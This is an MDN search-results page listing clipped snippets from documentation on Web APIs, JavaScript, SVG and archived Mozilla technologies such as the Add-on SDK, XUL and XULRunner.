... syntax string = object.search; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.href?t=67 var result = window.self.search; // returns:'?t=67' specifications specification status comment urlthe definition of 'urlutilsreadonly.search' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
USBIsochronousInTransferResult - Web APIs
the usbisochronousintransferresult interface of the webusb api provides the result from a call to the isochronoustransferin() method of the usbdevice interface.
... constructor usbisochronousintransferresult.usbisochronousintransferresult() creates a new usbisochronousintransferresult object with the provided packets and data fields.
... properties usbisochronousintransferresult.dataread only returns a dataview object containing the data received from the device.
...And 3 more matches
VideoTrackList.onchange - Web APIs
the videotracklist property onchange is an event handler which is called when the change event occurs, indicating that a videotrack in the videotracklist has been made active.
... note: you can also add a handler for the change event using addeventlistener().
... syntax videotracklist.onchange = eventhandler; value set onchange to a function that should be called whenever a track is made active.
...And 3 more matches
WebGLRenderingContext.attachShader() - Web APIs
the webglrenderingcontext.attachshader() method of the webgl api attaches either a fragment or vertex webglshader to a webglprogram.
... syntax void gl.attachshader(program, shader); parameters program a webglprogram.
... examples the following code attaches pre-existing shaders to a webglprogram.
...And 3 more matches
msCaching - Web APIs
WebAPImsCaching
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mscaching read/write property specifies whether stream data downloaded using xmlhttprequestis cached to disk or not.
... syntax cachestate = object.mscaching values type: domstring property value description auto disables caching for stream or ms-stream data.
...And 3 more matches
msCachingEnabled - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mscachingenabled method gets the current caching state for an xmlhttprequest.
... syntax var cachestate = xmlhttprequest.mscachingenabled(); parameters cachestate[out, retval] type = boolean.
...And 3 more matches
Demos of open web technologies
mozilla supports a wide variety of exciting open web technologies, and we encourage their use.
... this page offers links to interesting demonstrations of these technologies.
... if you know of a good demonstration or application of open web technology, please add a link to the appropriate section here.
...And 3 more matches
Atomics.compareExchange() - JavaScript
the static atomics.compareexchange() method exchanges a given replacement value at a given position in the array, if a given expected value equals the old value.
... syntax atomics.compareexchange(typedarray, index, expectedvalue, replacementvalue) parameters typedarray an integer typed array.
... index the position in the typedarray to exchange a value.
...And 3 more matches
Symbol.matchAll - JavaScript
the symbol.matchall well-known symbol returns an iterator, that yields matches of the regular expression against a string.
... this function is called by the string.prototype.matchall() method.
... description this symbol is used for string.prototype.matchall() and specifically in regexp.prototype[@@matchall]().
...And 3 more matches
Using images in HTML - Web media technologies
WebMediaimages
<picture> the html <picture> element contains zero or more <source> elements and one <img> element which provides versions of an image for different display/device scenarios.
... the browser considers each child <source> element and chooses the best match among them.
... css object-fit the object-fit css property sets how the content of a replaced element, such as an <img> or <video>, should be resized to fit its container.
...And 3 more matches
font-stretch - SVG: Scalable Vector Graphics
the font-stretch attribute indicates the desired amount of condensing or expansion in the glyphs used to render the text.
... note: as a presentation attribute, font-stretch can be used as a css property.
... see the css font-stretch property for more information.
...And 3 more matches
stitchTiles - SVG: Scalable Vector Graphics
the stitchtiles attribute defines how the perlin noise tiles behave at the border.
... only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="nostitch" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="stitch" /> </filter> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: translate(100px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: translate(0, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter: ur...
...20px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise2); transform: translate(320px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise2); transform: translate(220px, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise2); transform: translate(320px, 100px);" /> </svg> usage notes value nostitch | stitch default value nostitch animatable yes nostitch this value indicates that no attempt is made to achieve smooth transitions at the border of tiles which contain a turbulence function.
...And 3 more matches
port - Archive of obsolete content
this article documents the port object, which is used to communicate between a content script and the main add-on code.
... each end of the conversation has access to a port: the content script via the global self property, and the main add-on code via a worker object associated with the sdk module you've used to attach the content script, such as page-mod or page-worker.
...the page-worker loads http://en.wikipedia.org/wiki/chalk alongside a content script.
...And 2 more matches
Two Types of Scripts - Archive of obsolete content
each module is supplied as a script stored under the lib directory under your add-on's root directory.
...content scripts are injected into web pages using apis defined by some of the sdk's modules such as page-mod and panel.
... api access for add-on code and content scripts the table below summarizes the apis that are available to each type of script.
...And 2 more matches
Guides - Archive of obsolete content
contributor's guide getting started learn how to contribute to the sdk: getting the code, opening/taking a bug, filing a patch, getting reviews, and getting help.
... modules learn about the module system used by the sdk (which is based on the commonjs specification), how sandboxes and compartments can be used to improve security, and about the built-in sdk module loader, known as cuddlefish.
... private properties learn how private properties can be implemented in javascript using prefixes, closures, and weakmaps, and how the sdk supports private properties by using namespaces (which are a generalization of weakmaps).
...And 2 more matches
base64 - Archive of obsolete content
var base64 = require("sdk/base64"); var encodeddata = base64.encode("hello, world"); var decodeddata = base64.decode(encodeddata); globals functions encode(data, charset) creates a base-64 encoded ascii string from a string of binary data.
... parameters data : string the data to encode charset : string the charset of the string to encode (optional).
...in order to encode and decode unicode strings, the charset parameter needs to be set: var base64 = require("sdk/base64"); var encodeddata = base64.encode(unicodestring, "utf-8"); returns string : the encoded string decode(data, charset) decodes a string of data which has been encoded using base-64 encoding.
...And 2 more matches
hotkeys - Archive of obsolete content
var { hotkey } = require("sdk/hotkeys"); var showhotkey = hotkey({ combo: "accel-shift-o", onpress: function() { showmypanel(); } }); var hidehotkey = hotkey({ combo: "accel-alt-shift-o", onpress: function() { hidemypanel(); } }); choosing hotkeys hotkeys should be chosen with care.
... the following commonly used hotkey combinations will not pass amo review: accel-z, accel-c, accel-x, accel-v or accel-q if you choose to use a key combination that's already defined, choose one which makes sense for the operation it will perform.
... no matter what you choose, it's likely to annoy some people, and to clash with some other add-on, so consider making the combination you choose user-configurable.
...And 2 more matches
loader/sandbox - Archive of obsolete content
the argument may be: a url string, in which case the sandbox will get the same privileges as a script loaded from that url a dom window object, to inherit privileges from the window being passed.
... omitted or null: then the sandbox will have chrome privileges giving it access to all the xpcom components.
...this argument can be: a uri string, giving the sandbox the same privileges as a script loaded from that url a dom window object, giving the sandbox the same privileges as the dom window null, to give the sandbox chrome privileges.
...And 2 more matches
net/xhr - Archive of obsolete content
usage security concerns by default, the xmlhttprequest object grants full access to any protocol scheme, which means that it can be used to read from (but not write to) the host system's entire filesystem.
... attenuating access based on a regular expression may be ineffective if it's easy to write a regular expression that looks safe but contains a special character or two that makes it far less secure than it seems at first glance.
... possible attenuations before being exposed to unprivileged code, this object needs to be attenuated in such a way that, at the very least, it can't access the user's filesystem.
...And 2 more matches
cfx to jpm - Archive of obsolete content
for example: addons.mozilla.org uses it to distinguish between new add-ons and updates to existing add-ons, and the simple-storage module uses it to figure out which stored data belongs to which add-on.
... you can edit this file to create your own id, but if you don't, cfx will generate one for you, which will look something like "jid1-f3boogbjqje67a".
... what you need to do all this means that: if your package.json contains an id field, and its value does not contain "@", then you must append "@jetpack" to it when switching to jpm.
...And 2 more matches
Overview - Archive of obsolete content
the widget is used to switch the annotator on and off, and to display a list of all the stored annotations.
... the selector enables the user to choose an element to annotate.
... it identifies page elements which are eligible for annotation, highlights them on mouseover, and tells the main add-on code when the user clicks a highlighted element.
...And 2 more matches
Getting Started (jpm) - Archive of obsolete content
for now, just press enter to accept the default for each property.
...unless you've changed the value of "entry point" ("main" in package.json), this goes in "index.js" file in the root of your add-on.
...for example, in ubuntu: jpm run -b /usr/bin/firefox when firefox launches, in the top-right corner of the browser you'll see an icon with the firefox logo.
...And 2 more matches
Listen for Page Load - Archive of obsolete content
the following add-on listens to the tab's built-in ready event and just logs the url of each tab as the user loads it: require("sdk/tabs").on("ready", logurl); function logurl(tab) { console.log(tab.url); } you will find this console output in the browser console, not the web console.
... to access tab content you need to attach a script to the tab using tab.attach().
... this add-on attaches a script to all open tabs.
...And 2 more matches
JS XPCOM - Archive of obsolete content
accessing xpcom components from javascript xpcom objects are either created as new instances (each creation gives you a completely new com object) or as services (each access gives you the same com object, often called a singleton).
...sometimes javascript is clever enough to know all the interfaces available on a component, but in most cases you will have to explicitly check for an interface.
... with the preferences service from the previous example we can do the following: var preferences = preferences.queryinterface(components.interfaces.nsiprefbranch2); this allows you to use the methods in the nsiprefbranch2 interface.
...And 2 more matches
QuerySelector - Archive of obsolete content
along the lines of other frameworks such as jquery or prototype, shortening the "queryselector" name can be convenient: function $ (selector, el) { if (!el) {el = document;} return el.queryselector(selector); } function $$ (selector, el) { if (!el) {el = document;} return el.queryselectorall(selector); // note: the returned object is a nodelist.
... // if you'd like to convert it to a array for convenience, use this instead: // return array.prototype.slice.call(el.queryselectorall(selector)); } alert($('#myid').id); (note that while using the firefox web console, the above functions are available automatically.) both xul and even xml can be easily made supportable (an alternative approach to the following would be to add chromewindow.prototype or window.prototype, accessing this.document.queryselector, or following the jquery style of chaining by returning 'this' within each prototype method of $()): htmldocument.prototype.$ = function (selector) { // only for html return this.queryselector(selector); }; example: <h1>test!</h1> <script> htmldocument.prototype.$ = function (selector) { return this.queryselector(sele...
...alert(document.$('label')); // [object xulelement] ]]></script> document.prototype.$ = function (selector) { // only for plain xml return this.queryselector(selector); }; var foo = document.implementation.createdocument('somens', 'foo', null); // create an xml document <foo xmlns="somens"/> var bar = foo.createelementns('somens', 'bar'); // add <bar xmlns="somens"/> foo.documentelement.appendchild(bar); alert(foo.$('bar').nodename); // gives 'bar' element.prototype.$ = function (selector) { // works for html, xul, and plain xml return this.queryselector(selector); }; html example: <h1><a>test!<a/></h1> <script> element.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.getelementsbytagname('h1')[0].$('a').nodename); // 'a' xul example: ...
...And 2 more matches
Running applications - Archive of obsolete content
this page describes how to run other programs from your chrome javascript code, using mozilla xpcom interfaces.
... using nsilocalfile.launch() this method is not implemented on all platforms, especially not on unix/linux!
... see nsilocalfile.launch() for details and make sure that all your target platforms support this method!
...And 2 more matches
Developing add-ons - Archive of obsolete content
extensions extensions add new functionality to mozilla applications such as firefox, seamonkey and thunderbird.
... plugins information about how to create plugins, which are binary components that let mozilla based software display content they can't handle natively.
... search engine plugins firefox supports search engine plugins, which enable the search box to support different search engines.
...And 2 more matches
Installing Extensions and Themes From Web Pages - Archive of obsolete content
users can save the xpi file to disk easily by right clicking on the link and choosing "save link as..." when the link is clicked it calls the function install passing the event object as the parameter.
... the install first creates a parameter block: var params = { "foo": { url: aevent.target.href, iconurl: aevent.target.getattribute("iconurl"), hash: aevent.target.getattribute("hash"), tostring: function () { return this.url; } }; this specifies the display name (foo) for use in the confirmation dialog, the url to the extension (which is the link href, recall), the icon url to display in the confirmation dialog, a hash of the xpi file contents (to protect against corrupted downloads), and a tostring function which will allow this code to work with versions of firefox 0.8 and earlier.
... tostring() the tostring() property should return the xpi url, for compatibility with firefox browsers older than version 1.0, and other applications such as seamonkey.
...And 2 more matches
Creating reusable content with CSS and XBL - Archive of obsolete content
note: xbl cannot be loaded over http, so this technique is only useful for local content accessed using the file:/// scheme, or from add-on code.
... you apply this technique in a simple demonstration.
...mozilla provides a mechanism that overcomes these limitations: xbl (xml bindings language).
...And 2 more matches
MozOrientation - Archive of obsolete content
this value is 0 if the device is level along the x axis, and approaches 1 as the device is tilted toward the left, and -1 as the device is tilted toward the right.
...the value is 0 if the device is level along the y axis, and approaches 1 as you tilt the device backward (away from you) and -1 as you tilt the device frontward (toward you).
... in weightlessness, all values would be zero when the device is not moving, regardless of orientation, and would only change when being accelerated.
...And 2 more matches
How Thunderbird and Firefox find their configuration files - Archive of obsolete content
how thunderbird and firefox find their configuration files thunderbird looks into the binary %appdata%\thunderbird\profiles.ini file for its "registry", which contains, amongst other information, a pointer to the directory where the profile is stored (usually located in %appdata%\thunderbird\profiles\profilename).
...the value contained in this key is a litteral value, no variables (such as %userprofile%/mozprofile) allowed.
... we chose to point this to the user's home directory (h:\thunderbird).
...And 2 more matches
Locked config settings - Archive of obsolete content
the lockpref command puts into place a locked preference, whereas the defaultpref command merely puts into a place a default value (which the user may override in his prefs.js file).
...as the encoding of the file is pretty trivial, the encoding as such does not provide any real security.
...moreover, some settings (such as mail & news configuration) unfortunately seem to be inaccessible to mozilla.cfg, which means that these cannot be locked.
...And 2 more matches
Bonsai - Archive of obsolete content
bonsai is tree control it is a tool that lets you perform queries on the contents of a cvs archive; you can: get a list of checkins, see what checkins have been made by a given person, or on a given cvs branch, or in a particular time period.
... it also includes tools for looking at checkin logs (and comments); doing diffs between various versions of a file; and finding out which person is responsible for changing a particular line of code ("cvsblame").
... start at the main bonsai query page or seamonkey tree control page here are some example queries that will give you a taste of what bonsai is capable of: today's checkins to the mozilla source mainline.
...And 2 more matches
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
build create a new project in visual studio for a win32 gui library (dll) (in .net 2003: win32 template, then switch to dll in application settings in the following dialog, export symbols too?)(in visual studio 2008, it is visualc++|win32|win32 project, then check dll in the wizard).
... if a wizard gives you a checkbox to create an empty project, then check it.
... optional: open the above .def file and change "nprt" to the filename of your dll as vs sees it (without "np", if you decided to rename later) optional: edit the .rc file and and the top of npp_gate.cpp for the description, mimetype, file extension etc.
...And 2 more matches
Adding the structure - Archive of obsolete content
<statusbar id="status-bar" class="chromeclass-status" ondragdrop="nsdraganddrop.drop(event, contentareadndobserver);"> <statusbarpanel id="component-bar"/> <statusbarpanel id="statusbar-display" label="&statustext.label;" flex="1"/> <statusbarpanel class="statusbarpanel-progress"> <progressmeter class="progressmeter-statusbar" id="statusbar-icon" mode="normal" value="0"/> </statusbarpanel> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" status="none"/> <statusbarpanel class="statusbarpanel-iconic" id="offline-status"/> <statusbarpanel cl...
... status bars comprise a series of panels, each one defined by a statusbarpanel xul element.
... each status bar panel displays a different kind of status information.
...And 2 more matches
Conclusion - Archive of obsolete content
future directions for development of the tutorial and/or coursework: in addition to build status, tinderbox also tells you if the cvs tree is open or closed for check-ins.
...in particular, it tracks both the main mozilla codebase (the trunk) and a stable branch.
... how could you modify tinderstatus to show the status of both the trunk and the branch?
...And 2 more matches
Creating a Skin for Mozilla - Archive of obsolete content
a skin does not totally change the interface, it just defines how it looks.
... you cannot change what happens when the user right clicks on an image, but you can change the look of the right click menu (make it blue with pink polka dots, for example).
... if you want to change the functionality of mozilla, you'll have to look into modifying the chrome.
...And 2 more matches
Download Manager preferences - Archive of obsolete content
the user may check a "don't ask" box on the ui to toggle this.
... default value is 0 (resume on next launch).
...on windows xp sp2 and windows vista, this value also indicates whether downloaded files trigger a security warning upon launch.
...And 2 more matches
Me - Archive of obsolete content
ArchiveMozillaJetpackMetaMe
note: this page documents the jetpack prototype, which is no longer under active development.
...the jetpack.me namespace provides mechanisms for introspecting the dynamic state of your jetpack.
...onfirstrun() accepts a callback which is called after installation.
...And 2 more matches
Prism - Archive of obsolete content
by running each app in its own process, we minimize the impact of any mishaps.
... architectural overview prism is a xulrunner application.
...we are refining this approach to make the api applicable in as many environments as possible (e.g.
...And 2 more matches
Hacking wiki - Archive of obsolete content
to be able to hack the mdc wiki software, you'll need a local webserver install, which can run mediawiki.
... checking out first, check out the <tt>developer.mozilla.org</tt> project from svn.
... for anonymous access use: svn co http://svn.mozilla.org/projects/deve...lla.org/trunk/ to see the skins properly, you'll need to also check out <tt>mozilla-org/css</tt> to get the css files needed: export cvsroot=:pserver:anonymous@cvs-mirror.mozilla.org:/www cvs login cvs co mozilla-org/css (when prompted to enter a password, type <tt>anonymous</tt>) setting up copy the contents of the <tt>trunk</tt> folder and the <tt>css</tt> folder (note: the folder itself) into the <tt>www</tt> directory on your server.
...And 2 more matches
PyDOM - Archive of obsolete content
once you set the script type for a node, it is the default for that node and all children.
... this means that if you set the script-type to python for the window, python is the default script type for all child elements in the window.
...this means you can only have python code in chrome.
...And 2 more matches
File object - Archive of obsolete content
if you are building a standalone version of spidermonkey (see: spidermonkey build documentation), this variable can be added on the make command line, like so: cd mozilla/js/src make -f makefile.ref js_has_file_object=1 alternatively, if you are building a larger product (such as a browser) and want to include the file object, you may need to perform minor makefile surgery.
... filesystem access is implemented with nspr i/o functions, and as such shares many semantics.
... file.hasautoflush force a flush on each line break?
...And 2 more matches
Abc Assembler Tests - Archive of obsolete content
when run, the assembler tests include the abcasm/abs_helper.as file which defines the following functions: start(summary:string):void - start a new test section described by summary end():void - test section finished compare_stricteq(name:string, expected:*, actual:*):void - compare the results of a testcase where name is the testcase name compare_typeerror(name:string, expected:*, actual:*):void - special function for comparing typeerrors (runtimeerrors) - will only compare the first 22 chars of expect...
... * * the original code is [open source virtual machine.].
... * * contributor(s): * adobe as3 team * * alternatively, the contents of this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above.
...And 2 more matches
Actionscript Acceptance Tests - Archive of obsolete content
any additional args on the uses_swfversion line will be passed to each run of the vm.
...# (see http://docs.python.org/library/time.html for details) # e.g.: eastern standard time/eastern daylight time = ('est','edt') # write timezones as tuples, one to each line.
... ('est', 'edt') ('cst', 'cdt') ('mst', 'mdt') ('pst', 'pdt') testname.err this file is used when the test throws an uncatchable error.
...And 2 more matches
Using addresses of stack variables with NSPR threads on win16 - Archive of obsolete content
problem statement win-16 (aka, windows 3.1, et al), is unique in that the architecture depends on the operating environment (i.e., windows) knows the address of the stack, and that there is only one such address.
... consequently, implementing threads, with their implication of a unique stack for each thread, requires that the nspr copy the stacks during thread context switches.
... the actual copying of the stack is not such a hardship as one would imagine.
...And 2 more matches
Venkman - Archive of obsolete content
note that it is not included in the gecko-based browsers such as k-meleon, galeon and netscape 8.x.
... brief history in 1998, john bandhauer was in charge of creating the netscape 4.x javascript debugger.
...this allows the user interface be written in javascript and xul, which allows venkman to be fully cross-platform.
...And 2 more matches
XBL - Archive of obsolete content
xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents.
... the element that the binding is attached to, called the bound element, acquires the new behavior specified by the binding.
... xbl 1.0 is a mozilla-specific technology, and not a w3c standard.
...And 2 more matches
execute - Archive of obsolete content
summary launches a file inside the install archive.
...you can use this method to launch an installshield installer or any install executable file stored in a xpi file.
...file.execute() executes an installed file (such as a browser) after it has been installed, and is typically placed at the end of an install script and outside of the main install block.
...And 2 more matches
events - Archive of obsolete content
you can send a custom event by calling the updatecommands method of the command dispatcher.
... focus: occurs when the focused element changes.
... select: occurs when the selected text changed.
...And 2 more matches
menuitem.type - Archive of obsolete content
« xul reference home type type: one of the values below can be used to create checkable menuitems or for radio button menuitems.
... checkbox the menuitem is checked.
... the checked attribute determines whether the menuitem is checked or not.
...And 2 more matches
panel.flip - Archive of obsolete content
« xul reference home flip type: string normally, when a popup opens near the edge of the screen, it flips over to open on the opposite side of the anchor, so that it doesn't extend off the screen.
... an arrow panel can also specify a value of slide, which causes the arrow to "slide" instead of flipping when the panel doesn't have room.
... a sliding panel will have the start (or end) position extended such that the panel can be the requested size, meaning the arrow will no longer be at the start (or end) of the panel - i.e., the arrow will appear to have been slid along the panel to ensure the arrow is still pointing at the anchor.
...And 2 more matches
panel.type - Archive of obsolete content
autocomplete-richlistbox specify this for a panel that provides a richlistbox for an autocomplete element.
... arrow specify this for a panel that provides an arrow pointing at its anchor.
... for example, the site identity panel that appears when you click on the favicon in the url bar in firefox is an arrow panel: note: the arrow will draw as long as the panel doesn't overlap the anchor.
...And 2 more matches
showPopup - Archive of obsolete content
« xul reference home showpopup( element, x, y, popuptype, anchor, align ) deprecated since gecko 1.9 return type: no return value deprecated in favor of openpopup and openpopupatscreen opens a popup element.
...in this latter case, the anchor and align arguments may be used to further control where the popup appears relative to the element.
... the anchor argument corresponds to the popupanchor attribute on the element.
...And 2 more matches
Extensions - Archive of obsolete content
for instance: <menubar id="main-menubar"> <menu label="search" insertbefore="tools-menu"> <menupopup> <menuitem label="web"/> <menuitem label="mail"/> </menupopup> </menu> </menubar> this menu is added to the main menu bar just before the tools menu.
...because of this, the new item might not appear at the end of the menu but before a menuitem added by another extension, depending on the order in which the overlays are applied.
... determining what element was context clicked for general information about how to determine which element was the target of the context menu, that is, the element that was context clicked, see determining what was context clicked firefox uses its own popupshowing event listener to adjust the items on the context menu.
...And 2 more matches
MoveResize - Archive of obsolete content
moving and resizing a popup menus and popups have methods which may be used to move and resize them.
...this method will change the left and top attributes to match the supplied arguments, so if these attributes are persisted the values will be restored when the window is displayed again.
... for instance, the following example will move a popup to the upper left corner of the screen: popup.moveto(0, 0); the position may be shifted so as not to cover user interface elements provided by the operating system, such as the menu bar or the task bar.
...And 2 more matches
Property - Archive of obsolete content
« xul reference accessible accessibletype accesskey align allnotifications allowevents alwaysopenpopup amindicator applocale autocheck autofill autofillaftermatch boxobject browsers builder builderview buttons canadvance cangoback cangoforward canrewind checked checkstate child children classname clickselectsall clientheight clientwidth collapsed color columns command commandmanager completedefaultindex container contentdocument contentprincipal contenttitle contentview contentvieweredit contentviewerfile contentwindow contextmenu control controller controllers crop current currentindex currentitem currentnotification currentpage currentpane currentset currenturi cust...
...omtoolbarcount database datasources date dateleadingzero datevalue decimalplaces decimalsymbol defaultbutton defaultvalue description dir disableautocomplete disableautocomplete disableautoselect disabled disablekeynavigation dlgtype docshell documentcharsetinfo editable editingcolumn editingrow editingsession editor editortype emptytext deprecated since gecko 2 enablecolumndrag eventnode firstordinalcolumn firstpermanentchild flex focused focuseditem forcecomplete group handlectrlpageupdown handlectrltab hasuservalue height hidden hideseconds highlightnonmatches homepage hour hourleadingzero id ignoreblurwhilesearching image increment inputfield inverted is24hourclock ispm issearchi...
...ng iswaiting itemcount label labelelement lastpermanentchild lastselected left linkedpanel listboxobject locked markupdocumentviewer max maxheight maxlength maxrows maxwidth menu menuboxobject menupopup min minheight minresultsforpopup minwidth minute minuteleadingzero mode month monthleadingzero name next nomatch notificationshidden object observes onfirstpage onlastpage open ordinal orient pack pagecount pageid pageincrement pageindex pagestep parentcontainer palette persist persistence placeholder pmindicator popup popupboxobject popupopen position predicate preferenceelements preferencepanes preferences priority radiogroup readonly readonly ref resource res...
...And 2 more matches
Sorting and filtering a custom tree view - Archive of obsolete content
sort.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!doctype window> <window title="sorting a custom tree view example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="init()"> <script type="application/javascript" src="sort.js"/> <hbox align="center" id="search-box"> <label accesskey="f" control="filter">filter</label> <textbox id="filter" oninput="inputfilter(even...
... sortdirection="ascending"/> <splitter class="tree-splitter"/> <treecol id="description" label="description" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator"/> <splitter class="tree-splitter"/> <treecol id="weapon" label="weapon" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator"/> </treecols> <treechildren id="tree-children"/> </tree> </window> sort.js var table = null; var data = null; var tree; var filtertext = ""; function init() { tree = document.getelementbyid("tree"); loadtable(); } //this function is called every time the tree is sorted, filtered, or reloaded function loadtable() { //remember scroll position.
... data = []; //the property names match the column ids in the xul.
...And 2 more matches
Things I've tried to do with XUL - Archive of obsolete content
:) silver: if you set height="0" and include "overflow: hidden" on each box that is sharing the space, current gecko will quite happily split the space out according to flex, ignoring the contents of each box, as desired.
... xbl in listboxes using xbl bindings in listboxes is not easy because there is a big bug there: if you create from js an element you want to bind, and if it is hidden when the listbox is first rendered, the listbox does not create a frame for it, and the xbl doesn't get attached...
... multi-column listboxes when adding items to multi-column listboxes, you can't use the appenditem api: // auto-create and attach 1st cell var row = mylistbox.appenditem( label, value ); // create and attach 2nd cell var cell = document.createelement('listcell'); cell.setattribute('label', label2 ); cell.setattribute('value', value2 ); row.appendchild( cell ); // etc // ...
...And 2 more matches
Adding Labels and Images - Archive of obsolete content
it should be used when you want to place a descriptive label beside a control, such as a button.
...control attribute you can use the control attribute to set which control the label is associated with.
...the label element is intended for labels of controls, such as text fields.
...And 2 more matches
Persistent Data - Archive of obsolete content
for example, the window should remember which toolbars are collapsed even after the user exits.
...conveniently, xul provides such a mechanism to save the state of a window.
...it holds state information about each window.
...And 2 more matches
Scrolling Menus - Archive of obsolete content
« previousnext » this section will describe scrolling menus and how to use the mechanism with other elements.
... creating a large menu you might wonder what happens if you create a menu with a lot of commands on it, such that all the items won't fit on the screen at once.
... mozilla will provide a scrolling mechanism that will allow you to scroll through the items.
...And 2 more matches
Accessibility/XUL Accessibility Reference - Archive of obsolete content
caption see groupbox checkbox <checkbox label='<!--label text-->' /> colorpicker <colorpicker type="button" palettename="standard" /> colorpicker appears to read color values out if the colorpicker can get focus in the first place.
... tabpanel see tabbox tabpanels see tabbox tabs see tabbox textbox <label control="inputid"> <!--first name:--> </label> <textbox id='inputid'> tree <tree hidecolumnpicker="true" > <treecols> <treecol label="cats" primary="true"/> </treecols> <treechildren> <treeitem container="true" open="true"> <treerow> <treecell label="<!--male-->" /> </treerow> <treechildren> <treeitem> <treerow> <treecell label="<!--aramis-->" /> </treerow> </treeitem> <treeitem> <treerow> <treecell label="<!--fergus-->" /> </treerow> </treeitem>...
... </treechildren> </treeitem> </treechildren> </tree> there is no keyboard access to the column picker (the widget visually to the right of the column headers) or the column headers themselves (for sorting by column).
...And 2 more matches
action - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] used to specify the content that should be generated for each matching result from a query.
...for a matched rule, each variable will be a reference to data within the datasource, determined from the query.
... if the same variable appears multiple times, it will have the same value in each place.
...And 2 more matches
broadcaster - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a broadcaster is used when you want multiple elements to share one or more attribute values, or when you want elements to respond to a state change.
...if the label changes, the labels of the observers will update automatically.
... an onbroadcast event will be sent to the observers when a change is made.
...And 2 more matches
keyset - Archive of obsolete content
do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...using it with an anchor tag (an <a> link) will have no effect.
... visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...And 2 more matches
listheader - Archive of obsolete content
do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...using it with an anchor tag (an <a> link) will have no effect.
... visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...And 2 more matches
notification - Archive of obsolete content
the box includes a button which the user can use to close the box.
... priority type: integer numeric value that specifies the order in which the notifications appear.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but ...
...And 2 more matches
progressmeter - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a meter which can be used to display the progress of a lengthy operation.
... attributes max, mode, value properties accessibletype, max, mode, value examples <progressmeter mode="determined" value="82"/> <progressmeter mode="undetermined"/> <!-- switching modes while the mouse is over a button --> <progressmeter mode="determined" id="myprogress"/> <button label="example" onmouseover="setloading(true)" onmouseout="setloading(false)"/> function setloading(state){ document.getelementbyid('myprogress').mode = (state) ?
...the default value if not specified is 100 such that the value may be used as a percentage.
...And 2 more matches
treerow - Archive of obsolete content
children of the treerow should be treecell elements.
... if child rows are necessary, they should be placed in a treechildren element inside the parent treeitem.
... attributes properties examples (example needed) attributes properties type: space-separated list of property names sets the properties of the element, which can be used to style the element.
...And 2 more matches
Building XULRunner - Archive of obsolete content
a basic minimal mozconfig which will build a release configuration of xulrunner is: mk_add_options moz_co_project=xulrunner mk_add_options moz_objdir=@topsrcdir@/obj-xulrunner ac_add_options --enable-application=xulrunner #uncomment the following line if you don't want to build javaxpcom: #ac_add_options --disable-javaxpcom cvs tags and xulrunner versions older xulrunner releases where tagged in cvs with (for instance xulr...
... for instance xulrunner 1.8.1.3, the corresponding tag is cvs is : firefox_2_0_0_3_release to find out how those firefox tags and xulrunner version maps, check out the file mozilla/config/milestone.txt .
... you can also check the user agent string in firefox help/about menu to get the mapping from a certain binary firefox version to the corresponding xulrunner version.
...And 2 more matches
Custom app bundles for Mac OS X - Archive of obsolete content
mac os x applications are typically packaged as application bundles which are then distributed in .dmg (disk image) files.
... this tutorial will show you how to package your xulrunner-based application in a way which is consistent with the expectations of mac os x users.
...ext file and is created along with the info.plist file) macos/ (the macos folder will contain your xulrunner executable) xulrunner (this is the xulrunner stub) resources/ (this is where you place your xul application code and support files) application.ini (xulrunner-related application settings) example.icns (this is the icon which will be used by your application bundle) chrome/ content/ example.xul (this directory contains your application's chrome) example.manifest defaults/ preferences/ app-prefs.js (this provides some default values for preferences) ...
...And 2 more matches
MacFAQ - Archive of obsolete content
the toolkit will automatically enable this behavior if you add class="chromeclass-toolbar" to your <toolbar> element.
...this is implemented in a pseudo "hidden window" technique and parsing the window arguments instead of command-line handlers and some of the toolkit singleton window code.
